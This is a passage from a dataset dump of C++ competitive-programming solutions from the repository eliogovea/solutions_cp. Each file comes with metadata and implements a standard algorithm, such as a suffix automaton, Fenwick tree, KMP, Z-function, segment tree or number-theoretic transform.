i++)r=10*r+(x[i]-'0');\r\n return r;\r\n }\r\n\r\nint main(){\r\n cin >> a;\r\n l=strlen(a);\r\n sort(a,a+l);\r\n do{\r\n if(p(toint(a)))ans++;\r\n }while(next_permutation(a,a+l));\r\n cout << ans << endl;\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.4918699264526367, "alphanum_fraction": 0.49593496322631836, "avg_line_length": 13.375, "blob_id": "184796b53ec74d8101e025c50c917a56974dcb8d", "content_id": "1f506f04e3f2c429b6f09138a6ece25c6581ec95", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 246, "license_type": "no_license", "max_line_length": 34, "num_lines": 16, "path": "/Kattis/quickestimate.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tint t;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tstring s;\r\n\t\tcin >> s;\r\n\t\tcout << s.size() << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.46819788217544556, "alphanum_fraction": 0.4845406413078308, "avg_line_length": 16.25806427001953, "blob_id": "03daa7618dab62cf8c80fe28a085de2123a0225c", "content_id": "b109db6366ac3dfedd390efb2c19ce57a72854c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2264, "license_type": "no_license", "max_line_length": 54, "num_lines": 124, "path": "/COJ/eliogovea-cojAC/eliogovea-p3155-Accepted-s1044905.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 20000;\r\nconst int MAXS = 2 * MAXN + 5;\r\n\r\nint length[MAXS];\r\nmap <int, int> next[MAXS];\r\nint suffixLink[MAXS];\r\n\r\nint size;\r\nint last;\r\n\r\nint createNew(int _length) {\r\n\tint now = size;\r\n\tsize++;\r\n\tlength[now] = _length;\r\n\tnext[now] = map <int, int> ();\r\n\tsuffixLink[now] = -1;\r\n\treturn now;\r\n}\r\n\r\nint createClone(int from, int _length) {\r\n\tint now = size;\r\n\tsize++;\r\n\tlength[now] = _length;\r\n\tnext[now] = next[from];\r\n\tsuffixLink[now] = suffixLink[from];\r\n\treturn now;\r\n}\r\n\r\nvoid init() {\r\n\tsize = 0;\r\n\tlast = createNew(0);\r\n}\r\n\r\nvoid add(int c) {\r\n\tint p = last;\r\n\tint cur = createNew(length[p] + 1);\r\n\twhile (p != -1 && next[p].find(c) == next[p].end()) {\r\n\t\tnext[p][c] = cur;\r\n\t\tp = suffixLink[p];\r\n\t}\r\n\tif (p == -1) {\r\n\t\tsuffixLink[cur] = 0;\r\n\t} else {\r\n\t\tint q = next[p][c];\r\n\t\tif (length[p] + 1 == length[q]) {\r\n\t\t\tsuffixLink[cur] = q;\r\n\t\t} else {\r\n\t\t\tint clone = createClone(q, length[p] + 1);\r\n\t\t\tsuffixLink[q] = clone;\r\n\t\t\tsuffixLink[cur] = clone;\r\n\t\t\twhile (p != -1 && next[p][c] == q) {\r\n\t\t\t\tnext[p][c] = clone;\r\n\t\t\t\tp = suffixLink[p];\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tlast = cur;\r\n}\r\n\r\nint cnt[MAXS];\r\n\r\nint freq[MAXS];\r\nint order[MAXS];\r\n\r\nint n, k;\r\nint a[MAXN + 5];\r\nmap <int, int> M;\r\n\r\nvoid solve() {\r\n\tcin >> n >> k;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> a[i];\r\n\t\tif (M.find(a[i]) != M.end()) {\r\n\t\t\ta[i] = M[a[i]];\r\n\t\t} else {\r\n\t\t\tint id = M.size();\r\n\t\t\tM[a[i]] = id;\r\n\t\t\ta[i] = id;\r\n\t\t}\r\n\t}\r\n\tinit();\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tadd(a[i]);\r\n\t\tcnt[last]++;\r\n\t}\r\n\tint maxLength = 0;\r\n\tfor (int s = 0; s < size; s++) {\r\n\t\tmaxLength = max(maxLength, length[s]);\r\n\t}\r\n\tfor (int i = 0; i <= maxLength; i++) {\r\n\t\tfreq[i] = 0;\r\n\t}\r\n\tfor (int s = 0; s < size; s++) {\r\n\t\tfreq[length[s]]++;\r\n\t}\r\n\tfor (int i = 1; i <= maxLength; i++) {\r\n\t\tfreq[i] += freq[i - 1];\r\n\t}\r\n\tfor (int s = 0; s < size; s++) {\r\n\t\torder[--freq[length[s]]] = s;\r\n\t}\r\n\tfor (int i = size - 1; i > 0; i--) {\r\n\t\tint s = order[i];\r\n\t\tcnt[suffixLink[s]] += cnt[s];\r\n\t}\r\n\tint ans = 0;\r\n\tfor (int s = 0; s < size; s++) {\r\n\t\tif (cnt[s] >= k) {\r\n\t\t\tans = max(ans, length[s]);\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"input3155.txt\", \"r\", stdin);\r\n\tsolve();\r\n}\r\n" }, { "alpha_fraction": 0.4524647891521454, "alphanum_fraction": 0.4727112650871277, "avg_line_length": 19.037036895751953, "blob_id": "bdfead106b1d44c3f601f305226f26c8ab3fc2d1", "content_id": "34aa12bdf0f2d32d28465c0f81d51d046263709c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1136, "license_type": "no_license", "max_line_length": 60, "num_lines": 54, "path": "/COJ/eliogovea-cojAC/eliogovea-p2820-Accepted-s660670.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n#include <algorithm>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nint tc, N;\r\nvector<int> a, b;\r\nlong long dp[3][100005];\r\n\r\nvoid update(int x, int pos, long long val) {\r\n\tfor (; pos <= N; pos += pos & -pos)\r\n\t\tdp[x][pos] += val;\r\n}\r\n\r\nlong long query(int x, int pos) {\r\n\tlong long ret = 0;\r\n\tfor (; pos; pos -= pos & -pos)\r\n\t\tret += dp[x][pos];\r\n\treturn ret;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> N;\r\n\t\ta.clear(); a.resize(N);\r\n\t\tb.clear(); b.resize(N);\r\n\r\n\t\tfor (int i = 0; i < 3; i++)\r\n\t\t\tfor (int j = 0; j <= N; j++)\r\n\t\t\t\tdp[i][j] = 0;\r\n\r\n\t\tfor (int i = 0; i < N; i++) {\r\n\t\t\tcin >> a[i];\r\n\t\t\tb[i] = a[i];\r\n\t\t}\r\n\t\tsort(b.begin(), b.end());\r\n\t\tb.erase(unique(b.begin(), b.end()), b.end());\r\n\t\tfor (int i = 0; i < N; i++) {\r\n\t\t\ta[i] = upper_bound(b.begin(), b.end(), a[i]) - b.begin();\r\n\t\t\tfor (int j = 1; j < 3; j++) {\r\n\t\t\t\tlong long tmp = query(j - 1, N) - query(j - 1, a[i]);\r\n\t\t\t\tupdate(j, a[i], tmp);\r\n\t\t\t}\r\n\t\t\tupdate(0, a[i], 1);\r\n\t\t}\r\n\t\tcout << query(2, N) << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3969298303127289, "alphanum_fraction": 0.44078946113586426, "avg_line_length": 16.882352828979492, "blob_id": "e048161ceed77301faa619a97a659b3a0d2f864f", "content_id": "4904e1c0cdc102b7640c418ff8ae17515c735522", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 912, "license_type": "no_license", "max_line_length": 118, "num_lines": 51, "path": "/Codeforces-Gym/101078 - 2016-2017 CT S03E01: Codeforces Trainings Season 3 Episode 1 - 2010 Benelux Algorithm Programming Contest (BAPC 10)/L.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 CT S03E01: Codeforces Trainings Season 3 Episode 1 - 2010 Benelux Algorithm Programming Contest (BAPC 10)\n// 101078L\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n double sol = 0;\n\n string s; cin >> s;\n\n int n = s.size();\n int cs = 0;\n\n vector<int> ones;\n\n for( int i = 0; i < n; i++ ){\n if( s[i] == '0' ){\n cs++;\n }\n }\n\n for( int i = 0; i < cs; i++ ){\n if( s[i] == '1' ){\n ones.push_back(i);\n }\n }\n\n if( ones.size() == 0 ){\n cout << \"0\\n\";\n return 0;\n }\n\n int k = ones.size();\n for( int i = cs; i < s.size(); i++ ){\n if( s[i] == '0' ){\n sol += sqrt( (double)(i - ones[--k]) );\n }\n }\n\n cout.precision( 12 );\n cout << fixed << sol << '\\n';\n}\n" }, { "alpha_fraction": 0.412517786026001, "alphanum_fraction": 0.4238975942134857, "avg_line_length": 17.52777862548828, "blob_id": "d339c7b1a66eefd122f3cf8b8e00eb162206987d", "content_id": "7131770f3b003bf2cc3fd76473d267222ac4b2af", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 703, "license_type": "no_license", "max_line_length": 46, "num_lines": 36, "path": "/COJ/eliogovea-cojAC/eliogovea-p2844-Accepted-s649669.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nint sol;\r\nstring w, text, aux, s;\r\n\r\nint main() {\r\n ios::sync_with_stdio(false);\r\n //freopen(\"e.in\", \"r\", stdin);\r\n\tchar c = 1;\r\n\tcin >> w;\r\n\tint sw = w.size();\r\n\tgetline(cin, aux);\r\n\twhile (getline(cin, aux)) {\r\n aux += ' ';\r\n\t\ttext += aux;\r\n\t}\r\n\r\n\ts = w + c + text;\r\n\t//cout << s << '\\n';\r\n\tint n = s.size();\r\n\tvector<int> pi(n, 0);\r\n\t//cout << s[0] << \" 0\\n\";\r\n\tfor (int i = 1; i < n; i++) {\r\n\t\tint j = pi[i - 1];\r\n\t\twhile (j > 0 && s[i] != s[j]) j = pi[j - 1];\r\n\t\tif (s[i] == s[j]) j++;\r\n\t\tpi[i] = j;\r\n\t\tif (j == sw) sol++;\r\n //cout << s[i] << ' ' << j << '\\n';\r\n\t}\r\n\tcout << sol << '\\n';\r\n}\r\n" }, { "alpha_fraction": 0.4834834933280945, "alphanum_fraction": 0.4864864945411682, "avg_line_length": 13.857142448425293, "blob_id": "41937e046422c020c6fd94b9c5a090ff39f89112", "content_id": "45514b2d8fa3b1c0be8c028ba356e56fd1c9e372", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 333, "license_type": "no_license", "max_line_length": 41, "num_lines": 21, "path": "/COJ/eliogovea-cojAC/eliogovea-p1456-Accepted-s525791.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\n#include<set>\r\nusing namespace std;\r\n\r\nset<long long> S;\r\nint n;\r\nlong long x;\r\n\r\nint main()\r\n{\r\n\r\n for(scanf(\"%d\",&n);n--;)\r\n {\r\n scanf(\"%lld\",&x);\r\n if(S.find(x)!=S.end())S.erase(x);\r\n else S.insert(x);\r\n }\r\n printf(\"%lld\\n\",*(S.begin()));\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.42473119497299194, "alphanum_fraction": 0.4659498333930969, "avg_line_length": 16, "blob_id": "c594c857a3ce6c06566498306b5c1bea33be82a6", "content_id": "2fc647789ebb8b89faf78573a9af7a605923b426", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 558, "license_type": "no_license", "max_line_length": 44, "num_lines": 31, "path": "/COJ/eliogovea-cojAC/eliogovea-p1969-Accepted-s738425.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n\r\nusing namespace std;\r\n\r\nconst int inf = 1e9;\r\n\r\nconst string s = \"moo\";\r\n\r\nint n, l[100005];\r\n\r\nchar solve(int p) {\r\n\tif (p < 3) return s[p];\r\n\tint ind = 0;\r\n\twhile (l[ind] < p + 1) ind++;\r\n\tint lk = l[ind - 1];\r\n\tif (p == lk) return 'm';\r\n\tif (p > lk && p < lk + ind + 3) return 'o';\r\n\tif (p >= lk + ind + 3) p -= lk + ind + 3;\r\n\treturn solve(p);\r\n}\r\n\r\nint main() {\r\n\tl[0] = 3;\r\n\tint cnt = 0;\r\n\twhile (l[cnt++] <= inf) {\r\n\t\tl[cnt] = 2 * l[cnt - 1] + 1 + cnt + 2;\r\n\t}\r\n\tcin >> n;\r\n\tcout << solve(n - 1) << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.44100579619407654, "alphanum_fraction": 0.4951644241809845, "avg_line_length": 16.233333587646484, "blob_id": "61c5607c4d2605dd0808d98ba129ed54c8227601", "content_id": "210bf5015d8b20aaf4d71b2f6600a3a109b3d00b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 517, "license_type": "no_license", "max_line_length": 72, "num_lines": 30, "path": "/Codeforces-Gym/101147 - 2016-2017 ACM-ICPC, Egyptian Collegiate Programming Contest (ECPC 16)/D.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC, Egyptian Collegiate Programming Contest (ECPC 16)\n// 101147D\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 20;\n\nint n, m;\nlong long c[N + 5][N + 5];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tfreopen(\"popcorn.in\", \"r\", stdin);\n\tfor (int i = 0; i <= N; i++) {\n\t\tc[i][0] = c[i][i] = 1;\n\t\tfor (int j = 1; j < i; j++) {\n\t\t\tc[i][j] = c[i - 1][j - 1] + c[i - 1][j];\n\t\t}\n\t}\n\tint t;\n\tcin >> t;\n\twhile (t--) {\n\t\tint n, m;\n\t\tcin >> n >> m;\n\t\tcout << c[n][m] << \"\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.3837330639362335, "alphanum_fraction": 0.410844624042511, "avg_line_length": 15.125, "blob_id": "af8440e794c7752b89fee320c2bcb47aa9d3e6f6", "content_id": "bd54da2da24b4703d2318b2d51d7770e539e522c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 959, "license_type": "no_license", "max_line_length": 63, "num_lines": 56, "path": "/COJ/eliogovea-cojAC/eliogovea-p3352-Accepted-s827139.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nstring t, p;\r\n\r\nint pi[1000005];\r\n\r\nvector<int> ini, fin;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> t >> p;\r\n\tint st = t.size();\r\n\tint sp = p.size();\r\n\tfor (int i = 1; i < sp; i++) {\r\n\t\tint prev = pi[i - 1];\r\n\t\twhile (prev > 0 && p[i] != p[prev]) {\r\n\t\t\tprev = pi[prev - 1];\r\n\t\t}\r\n\t\tif (p[i] == p[prev]) {\r\n\t\t\tprev++;\r\n\t\t}\r\n\t\tpi[i] = prev;\r\n\t}\r\n\tint cur = 0;\r\n\tfor (int i = 0; i < st; i++) {\r\n\t\twhile (cur > 0 && t[i] != p[cur]) {\r\n\t\t\tcur = pi[cur - 1];\r\n\t\t}\r\n\t\tif (t[i] == p[cur]) {\r\n\t\t\tcur++;\r\n\t\t}\r\n\t\tif (cur == sp) {\r\n\t\t\tini.push_back(i - sp + 1);\r\n\t\t}\r\n\t}\r\n\tint last = -1;\r\n\tint pos = 0;\r\n\tint ans = 0;\r\n\tfor (int i = 0; i < ini.size(); i++) {\r\n\t\tif (ini[i] < pos) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tif (last == -1) {\r\n\t\t\tlast = i;\r\n\t\t}\r\n\t\tif (i == ini.size() - 1 || ini[i + 1] > ini[last] + sp - 1) {\r\n\t\t\tans++;\r\n\t\t\tpos = ini[i] + sp;\r\n\t\t\tlast = -1;\r\n\t\t}\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.42672064900398254, "alphanum_fraction": 0.4412955343723297, "avg_line_length": 18, "blob_id": "a82388fbf164b07659fa2d64913197213b1d8411", "content_id": "ac956706b05e0f2f180c476692205e85f4413cbf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1235, "license_type": "no_license", "max_line_length": 63, "num_lines": 65, "path": "/Hackerrank/save-humanity.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ntemplate <class T>\nvector <int> zFunction(const T & s, int n) {\n\tint l = 0, r = 0;\n\tvector <int> z(n);\n\tfor (int i = 1; i < n; i++) {\n\t\tif (i <= r) {\n\t\t\tz[i] = min(z[i - l], r - i + 1);\n\t\t}\n\t\twhile (i + z[i] < n && s[i + z[i]] == s[z[i]]) {\n\t\t\tz[i]++;\n\t\t}\n\t\tif (i + z[i] - 1 > r) {\n\t\t\tl = i;\n\t\t\tr = i + z[i] - 1;\n\t\t}\n\t}\n\treturn z;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tint t;\n\tcin >> t;\n\n\twhile (t--) {\n\t\tstring t, s;\n\t\tcin >> t >> s;\n\n\t\tauto z = zFunction(s + \"#\" + t, s.size() + 1 + t.size());\n\t\tz.erase(z.begin(), z.begin() + s.size() + 1);\n\t\t\n\t\treverse(s.begin(), s.end());\n\t\treverse(t.begin(), t.end());\n\n\t\tauto zr = zFunction(s + \"#\" + t, s.size() + 1 + t.size());\n\t\tzr.erase(zr.begin(), zr.begin() + s.size() + 1);\n\t\treverse(zr.begin(), zr.end());\n\n\t\tvector <int> answer;\n\n\t\tfor (int i = 0; i + (int)s.size() - 1 < (int)t.size(); i++) {\n\t\t\tif (z[i] + zr[i + (int)s.size() - 1] >= (int)s.size() - 1) {\n\t\t\t\tanswer.push_back(i);\n\t\t\t}\n\t\t}\n\n\t\tif (answer.size() == 0) {\n\t\t\tcout << \"No Match!\\n\";\n\t\t} else {\n\t\t\tfor (int i = 0; i < answer.size(); i++) {\n\t\t\t\tcout << answer[i];\n\t\t\t\tif (i + 1 < answer.size()) {\n\t\t\t\t\tcout << \" \";\n\t\t\t\t}\n\t\t\t}\n\t\t\tcout << \"\\n\";\n\t\t}\n\t}\n}\n" }, { "alpha_fraction": 0.3931034505367279, "alphanum_fraction": 0.43103447556495667, "avg_line_length": 15.557143211364746, "blob_id": "1e9deb0a18e60691c665e0f510ee07db69205339", "content_id": "5d3b8b5788fe38757aed464eec386934093b28c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1160, "license_type": "no_license", "max_line_length": 50, "num_lines": 70, "path": "/Codechef/FLIPCOIN.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 100005;\n\nint n, q;\n\nint t[4 * N];\nint lazy[4 * N];\n\nvoid propagate(int x, int l, int r) {\n\tif (lazy[x]) {\n\t\tt[x] = r - l + 1 - t[x];\n\t\tif (l != r) {\n\t\t\tlazy[2 * x] ^= 1;\n\t\t\tlazy[2 * x + 1] ^= 1;\n\t\t}\n\t\tlazy[x] = 0;\n\t}\n}\n\nvoid update(int x, int l, int r, int ul, int ur) {\n\tpropagate(x, l, r);\n\tif (l > ur || r < ul) {\n\t\treturn;\n\t}\n\tif (l >= ul && r <= ur) {\n\t\tlazy[x] ^= 1;\n\t\tpropagate(x, l, r);\n\t} else {\n\t\tint m = (l + r) >> 1;\n\t\tupdate(2 * x, l, m, ul, ur);\n\t\tupdate(2 * x + 1, m + 1, r, ul, ur);\n\t\tt[x] = t[2 * x] + t[2 * x + 1];\n\t}\n}\n\nint query(int x, int l, int r, int ql, int qr) {\n\tpropagate(x, l, r);\n\tif (l > qr || r < ql) {\n\t\treturn 0;\n\t}\n\tif (l >= ql && r <= qr) {\n\t\treturn t[x];\n\t}\n\tint m = (l + r) >> 1;\n\tint q1 = query(2 * x, l, m, ql, qr);\n\tint q2 = query(2 * x + 1, m + 1, r, ql, qr);\n\treturn q1 + q2;\n}\n\nint a, b, c;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> n >> q;\n\twhile (q--) {\n\t\tcin >> a >> b >> c;\n\t\tif (b > c) {\n\t\t\tswap(b, c);\n\t\t}\n\t\tif (a == 0) {\n\t\t\tupdate(1, 1, n, b + 1, c + 1);\n\t\t} else {\n\t\t\tcout << query(1, 1, n, b + 1, c + 1) << \"\\n\";\n\t\t}\n\t}\n}\n\n" }, { "alpha_fraction": 0.4006325900554657, "alphanum_fraction": 0.4232999384403229, "avg_line_length": 18.968421936035156, "blob_id": "73051a50c544f2b87cf293e82dd7e86cf4738b57", "content_id": "0fe3f353890ae74c4807105fa837e653fab14b9d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1897, "license_type": "no_license", "max_line_length": 63, "num_lines": 95, "path": "/Codeforces-Gym/100523 - 2014-2015 CT S02E07: Codeforces Trainings Season 2 Episode 7/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E07: Codeforces Trainings Season 2 Episode 7\n// 100523F\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\n#define forr(i, n) for(int i = 0; i < (int)(n); ++i)\n#define ffor(i, n) for(int i = 1; i <= (int)(n); ++i)\n#define revforr(n , i) for(int i = (int)(n)-1; i >= 0; i--)\n\n#define kasign(a,b) a = b\n\n#define keqq( a , b ) (a == b)\n#define kmineqq( a , b ) ( a <= b )\n#define kmaxeqq( a , b ) ( a >= b )\n\n#define kmm(a) a++\n\n#define kadd(a,b) a+=b\n#define krest(a,b) a-=b\n#define kmas(a,b) (a+b)\n\n#define kxorr( a , b ) (a ^ b)\n\n#define kfill( a , n , v ) fill( a , a + n , v )\n#define kmod( a , b ) ( a % b )\n\ntypedef long long ll;\nconst int MAXN = 1000005;\n\ntypedef pair<int,int> par;\n\nmultiset<int> col;\n\nint d[MAXN];\nbool mk[MAXN];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n int n, k; cin >> n >> k;\n\n forr( i , n ){\n cin >> d[i];\n kasign( d[i] , d[i] * 5 );\n }\n\n forr( i , k ){\n int x; cin >> x;\n col.insert( x );\n }\n\n sort( d , kmas( d , n ) , greater<int>() );\n\n int sol( 0 );\n\n forr( i , n ){\n int a( (d[i]/5)*3 );\n int b( (d[i]/5)*2 );\n\n multiset<int>::iterator it( col.lower_bound( d[i] ) );\n\n if( keqq( it , col.end() ) ){\n kadd( sol , 2 );\n\n kasign( it , col.lower_bound(a) );\n if( keqq( it , col.end() ) ){\n cout << \"NIE\\n\";\n return 0;\n }\n else{\n col.erase( it );\n }\n\n kasign( it , col.lower_bound(b) );\n if( keqq( it , col.end() ) ){\n cout << \"NIE\\n\";\n return 0;\n }\n else{\n col.erase( it );\n }\n }\n else{\n kadd( sol , 1 );\n col.erase( it );\n }\n }\n\n cout << sol << '\\n';\n}\n" }, { "alpha_fraction": 0.3660637438297272, "alphanum_fraction": 0.3975021541118622, "avg_line_length": 16.576000213623047, "blob_id": "8a509817e40579a4eb5774576a26bad151f06d58", "content_id": "e8600455fc214568739fb0ae0abded14cfc956b9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2322, "license_type": "no_license", "max_line_length": 73, "num_lines": 125, "path": "/COJ/eliogovea-cojAC/eliogovea-p3623-Accepted-s1029731.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = (1 << 27) + (1 << 25) + 1;\r\nvector <int> roots;\r\n\r\ninline int power(int x, int n) {\r\n\tint res = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres = (long long)res * x % MOD;\r\n\t\t}\r\n\t\tx = (long long)x * x % MOD;\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\ninline void calcRoots() {\r\n\tint t = MOD - 1;\r\n\tint p2 = 0;\r\n\twhile (t % 2 == 0) {\r\n\t\tt /= 2;\r\n\t\tp2++;\r\n\t}\r\n\tassert(p2 != 0);\r\n\troots.resize(p2 + 1);\r\n\r\n\tint start = 2;\r\n\twhile (power(start, (MOD - 1) / 2) == 1) {\r\n\t\tstart++;\r\n\t}\r\n\tint pw = MOD - 1;\r\n\tfor (int i = 0; i < p2; i++) {\r\n\t\troots[i] = power(start, pw);\r\n\t\tpw /= 2;\r\n\t}\r\n}\r\n\r\nvoid fft(vector <int> &arr, bool inv) {\r\n\tint n = arr.size();\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint j = 0;\r\n\t\tint x = i;\r\n\t\tint y = n - 1;\r\n\t\twhile (y > 0) {\r\n\t\t\tj = (j << 1) + (x & 1);\r\n\t\t\tx >>= 1;\r\n\t\t\ty >>= 1;\r\n\t\t}\r\n\t\tif (i < j) {\r\n\t\t\tswap(arr[i], arr[j]);\r\n\t\t}\r\n\t}\r\n\tfor (int p2 = 1, pow2 = 1; p2 < n; p2 *= 2, pow2++) {\r\n\t\tint w = roots[pow2];\r\n\t\tif (inv) {\r\n\t\t\tw = power(w, MOD - 2);\r\n\t\t}\r\n\t\tfor (int big = 0; big < n; big += 2 * p2) {\r\n\t\t\tint cur = 1;\r\n\t\t\tfor (int small = big; small < big + p2; ++small) {\r\n\t\t\t\tint i = small;\r\n\t\t\t\tint j = small + p2;\r\n\t\t\t\tint u = arr[i];\r\n\t\t\t\tint v = (long long)arr[j] * cur % MOD;\r\n\t\t\t\tarr[i] = u + v;\r\n\t\t\t\tif (arr[i] >= MOD) {\r\n\t\t\t\t\tarr[i] -= MOD;\r\n\t\t\t\t}\r\n\t\t\t\tarr[j] = u - v;\r\n\t\t\t\tif (arr[j] < 0) {\r\n\t\t\t\t\tarr[j] += MOD;\r\n\t\t\t\t}\r\n\t\t\t\tcur = (long long)cur * w % MOD;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tif (inv) {\r\n\t\tint x = power(n, MOD - 2);\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tarr[i] = (long long)arr[i] * x % MOD;\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\r\n\tint u, m, c;\r\n\tcin >> u >> m >> c;\r\n\r\n\tvector <int> cp(u + 1, 0);\r\n\tvector <int> pp(u + 1, 1);\r\n\tfor (int i = 2; i <= u; i++) {\r\n\t\tif (cp[i] == 0) {\r\n\t\t\tfor (int j = i; j <= u; j += i) {\r\n\t\t\t\tcp[j]++;\r\n\t\t\t\tpp[j] *= i;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tvector <int> p(m * c / 2 + 1);\r\n\tfor (int i = 2; i <= u; i++) {\r\n\t\tif ((cp[i] == 2 && pp[i] == i) || (cp[i] == 1 && pp[i] * pp[i] == i)) {\r\n\t\t\tp[i % m]++;\r\n\t\t}\r\n\t}\r\n\tcalcRoots();\r\n\r\n\tint n = 1;\r\n\twhile (n < 2 * p.size()) {\r\n\t\tn <<= 1;\r\n\t}\r\n\tp.resize(n);\r\n\tfft(p, false);\r\n\tfor (int i = 0; i < p.size(); i++) {\r\n\t\tp[i] = power(p[i], c);\r\n\t}\r\n\tfft(p, true);\r\n\tcout << p[m * c / 2] << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.395112007856369, "alphanum_fraction": 0.40529531240463257, "avg_line_length": 13.838709831237793, "blob_id": "2bc431930ff4ea27e6214771237b51e851d0af6c", "content_id": "50576548472ad7f9adbdd3f7bde41979e5d7e5c4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 491, "license_type": "no_license", "max_line_length": 37, "num_lines": 31, "path": "/COJ/eliogovea-cojAC/eliogovea-p3338-Accepted-s831043.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint t;\r\nstring a, b;\r\n\r\nchar c['Z' + 5];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> t;\r\n\tgetline(cin, a);\r\n\tfor (int cas = 1; cas <= t; cas++) {\r\n\t\tgetline(cin, a);\r\n\t\tgetline(cin, b);\r\n\t\tcout << cas << \" \";\r\n\t\tfor (int i = 0; b[i]; i++) {\r\n\t\t\tc['A' + i] = b[i];\r\n\t\t}\r\n\t\tfor (int i = 0; a[i]; i++) {\r\n\t\t\tif (a[i] == ' ') {\r\n\t\t\t\tcout << \" \";\r\n\t\t\t} else {\r\n\t\t\t\tcout << 